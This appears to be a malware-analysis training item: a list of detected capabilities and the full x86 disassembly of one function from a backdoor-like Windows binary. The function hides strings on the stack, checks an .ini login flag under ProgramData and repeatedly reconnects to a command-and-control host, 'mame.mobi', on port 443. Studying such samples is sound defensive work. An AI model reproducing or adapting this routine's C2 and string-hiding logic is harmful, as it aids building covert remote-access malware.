Function at 0x10020f00
Capabilities:
Check for peb ntglobalflag flag
Contain obfuscated stackstrings
Get number of processors
Read .ini file
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x1009d416
push eax
mov eax, 0xb024
mov dword fs:[0], esp
call fcn.10030bb0
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
push edi
push 1
push 0
inc eax
push 0
push eax
push 0x10020c10
push 0
push 0
call fcn.1002faf0
mov ecx, dword [esp + 0x30]
add esp, 0x1c
mov dl, 0x67
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov byte [esp + 0x1a], dl
mov byte [esp + 0x57], dl
push str.C:ProgramDataSHELL.ini
lea edx, [esp + 0x16]
push 2
push edx
mov dword [esp + ecx*4 + 0x13c], eax
push 0x10130544
mov bl, 0x6c
mov al, 0x2f
mov cl, 0x72
push str.PDqdsj
push str.login
mov byte [esp + 0x30], bl
mov byte [esp + 0x31], 0x6f
mov byte [esp + 0x33], 0x69
mov byte [esp + 0x34], 0x6e
mov byte [esp + 0x35], 0
mov byte [esp + 0x68], 0x43
mov byte [esp + 0x69], 0x3a
mov byte [esp + 0x6a], al
mov byte [esp + 0x6b], al
mov byte [esp + 0x6c], 0x50
mov byte [esp + 0x6d], cl
mov byte [esp + 0x6e], 0x6f
mov byte [esp + 0x70], cl
mov byte [esp + 0x71], 0x61
mov byte [esp + 0x72], 0x6d
mov byte [esp + 0x73], 0x44
mov byte [esp + 0x74], 0x61
mov byte [esp + 0x75], 0x74
mov byte [esp + 0x76], 0x61
mov byte [esp + 0x77], al
mov byte [esp + 0x78], al
mov byte [esp + 0x79], 0x53
mov byte [esp + 0x7a], 0x48
mov byte [esp + 0x7b], 0x45
mov byte [esp + 0x7c], 0x4c
mov byte [esp + 0x7d], 0x4c
mov byte [esp + 0x7e], 0x2e
mov byte [esp + 0x7f], 0x69
mov byte [esp + 0x80], 0x6e
mov byte [esp + 0x81], 0x69
mov byte [esp + 0x82], 0
call esi
mov edi, dword [sym.imp.MSVCRT.dll_atoi]
lea eax, [esp + 0x12]
push eax
call edi
add esp, 4
cmp eax, 1
je 0x10021083
lea ecx, [esp + 0x50]
lea edx, [esp + 0x18]
push ecx
push 0x10100100
push str.PDqdsj
push edx
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
push str.C:ProgramDataSHELL.ini
lea eax, [esp + 0x16]
push 2
push eax
push 0x10130544
push str.PDqdsj
push str.login
call esi
lea ecx, [esp + 0x12]
push ecx
call edi
add esp, 4
cmp eax, 1
jne 0x10021083
push 0x10123f4a
call fcn.1001d6f0
add esp, 4
mov al, 0x65
lea edx, [esp + 0x34]
mov byte [esp + 0x36], al
mov byte [esp + 0x3a], al
lea eax, [esp + 0x40]
push edx
push eax
mov byte [esp + 0x48], 0x4b
mov byte [esp + 0x49], 0x45
mov byte [esp + 0x4a], 0x52
mov byte [esp + 0x4b], 0x4e
mov byte [esp + 0x4c], 0x45
mov byte [esp + 0x4d], 0x4c
mov byte [esp + 0x4e], 0x33
mov byte [esp + 0x4f], 0x32
mov byte [esp + 0x50], 0x2e
mov byte [esp + 0x51], 0x64
mov byte [esp + 0x52], bl
mov byte [esp + 0x53], bl
mov byte [esp + 0x54], 0
mov byte [esp + 0x3c], 0x4f
mov byte [esp + 0x3d], 0x70
mov byte [esp + 0x3f], 0x6e
mov byte [esp + 0x40], 0x45
mov byte [esp + 0x41], 0x76
mov byte [esp + 0x43], 0x6e
mov byte [esp + 0x44], 0x74
mov byte [esp + 0x45], 0x41
mov byte [esp + 0x46], 0
call fcn.1001d6c0
mov ecx, dword [0x101315ec]
mov ebp, eax
mov dword [0x10132b6c], ecx
mov edi, str.mame.mobi
or ecx, 0xffffffff
xor eax, eax
add esp, 8
mov dword [0x10132b74], 0x101315f4
mov dword [0x10132b70], edi
mov dword [0x10132b68], 0x1bb
xor edx, edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [esp + 0x14], edx
je 0x10021169
mov edi, 0x101315f4
or ecx, 0xffffffff
mov dword [0x10132b5c], edx
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10021173
mov dword [esp + 0x14], 1
jmp 0x10021173
mov dword [0x10132b5c], 1
push 1
push edx
push edx
push edx
push 0x1001da50
push edx
push edx
call fcn.1002faf0
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x1c
push eax
call esi
mov edx, 0x1013116c
xor edi, edi
test edx, edx
mov dword [0x10132b60], edi
je 0x100211b5
push 1
push edi
push edi
push edx
push 0x100207f0
push edi
push edi
call fcn.1002faf0
add esp, 0x1c
push 1
push edi
push edi
push 0x64
push 0x1001eab0
push edi
push edi
call fcn.1002faf0
add esp, 0x1c
push eax
call esi
push 1
push edi
push edi
push 0xea60
push 0x1001eb30
push edi
push edi
call fcn.1002faf0
add esp, 0x1c
push eax
call esi
push 1
push edi
push edi
push 0xc8
push fcn.1001f500
push edi
push edi
call fcn.1002faf0
add esp, 0x1c
push eax
call esi
lea ecx, [esp + 0x74]
call fcn.100046c0
mov eax, dword [0x10132b70]
mov byte [esp + 0x21], bl
mov dword [esp + 0x6c], eax
mov al, 0x62
mov byte [esp + 0x25], bl
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], bl
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp + 0xb03c], edi
mov byte [esp + 0x11], 0
mov dword [esp + 0x70], edi
mov byte [esp + 0x20], 0x47
mov byte [esp + 0x22], 0x6f
mov byte [esp + 0x23], al
mov byte [esp + 0x24], 0x61
mov byte [esp + 0x26], 0x5c
mov byte [esp + 0x27], 0x4b
mov byte [esp + 0x28], 0x69
mov byte [esp + 0x2b], 0x53
mov byte [esp + 0x2c], 0x61
mov byte [esp + 0x2d], 0x69
mov byte [esp + 0x2e], 0x6e
mov byte [esp + 0x2f], al
mov byte [esp + 0x30], 0x6f
mov byte [esp + 0x31], 0x78
mov byte [esp + 0x32], 0
mov al, byte [esp + 0x11]
test al, al
je 0x100212c7
cmp al, 3
je 0x100212c7
xor edi, edi
lea ecx, [esp + 0x20]
push ecx
push 0
push 0x1f0003
call ebp
mov esi, eax
test esi, esi
jne 0x100212b7
push 0x3c
call ebx
inc edi
cmp edi, 0x1f4
jl 0x10021294
jmp 0x100212c7
lea ecx, [esp + 0x74]
call fcn.10004d50
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov esi, eax
mov eax, dword [0x10132b5c]
lea ecx, [esp + 0x74]
mov edx, dword [eax*4 + 0x10132b68]
mov eax, dword [esp + eax*4 + 0x6c]
push edx
push eax
call fcn.10004890
test al, al
jne 0x1002131e
mov eax, dword [esp + 0x14]
xor ecx, ecx
cmp eax, ecx
jne 0x10021310
mov eax, dword [0x10132b5c]
inc eax
cmp eax, 2
mov dword [0x10132b5c], eax
jb 0x10021310
mov dword [0x10132b5c], ecx
mov dword [esp + 0x14], ecx
mov byte [esp + 0x11], 2
jmp 0x10021286
push 0x10131598
call edi
sub eax, esi
lea ecx, [esp + 0x78]
push eax
push ecx
push 0
call fcn.1001d2c0
mov eax, dword [0x10132b5c]
add esp, 0x10
lea ecx, [esp + 0x20]
mov edx, dword [eax*4 + 0x10132b68]
mov eax, dword [esp + eax*4 + 0x6c]
push edx
push eax
lea edx, [esp + 0x7c]
push ecx
push edx
lea ecx, [esp + 0x10e0]
call fcn.10010ff0
lea eax, [esp + 0x10d0]
lea ecx, [esp + 0x74]
push eax
mov byte [esp + 0xb040], 1
call fcn.10005050
xor esi, esi
lea ecx, [esp + 0x10d0]
call fcn.10012960
test eax, eax
jne 0x10021397
push 0x3e8
call ebx
inc esi
cmp esi, 0xa
jl 0x1002137a
lea ecx, [esp + 0x10d0]
call fcn.10012960
test eax, eax
jne 0x100213eb
mov eax, dword [esp + 0x14]
test eax, eax
je 0x100213c9
mov eax, dword [0x10132b5c]
inc eax
cmp eax, 2
mov dword [0x10132b5c], eax
jb 0x100213c9
mov dword [0x10132b5c], 0
lea ecx, [esp + 0x74]
call fcn.10004d50
lea ecx, [esp + 0x10d0]
mov byte [esp + 0xb03c], 0
call fcn.100110e0
jmp 0x10021286
call edi
lea ecx, [esp + 0x20]
push ecx
push 0
push 0x1f0003
call ebp
mov edx, dword [esp + 0x120]
push 0x64
push edx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x190
mov edi, eax
call ebx
test esi, esi
je 0x10021421
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x100213ed
test esi, esi
je 0x100213d2
lea ecx, [esp + 0x74]
call fcn.10004d50
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [0x101326e0]
test eax, eax
je 0x1002144d
push eax
call esi
mov dword [0x101326e0], edi
lea ecx, [esp + 0x10d0]
mov byte [esp + 0xb03c], 0
call fcn.100110e0
lea ecx, [esp + 0x74]
mov dword [esp + 0xb03c], 0xffffffff
call fcn.100047d0
mov ecx, dword [esp + 0xb034]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
mov dword fs:[0], ecx
add esp, 0xb030
ret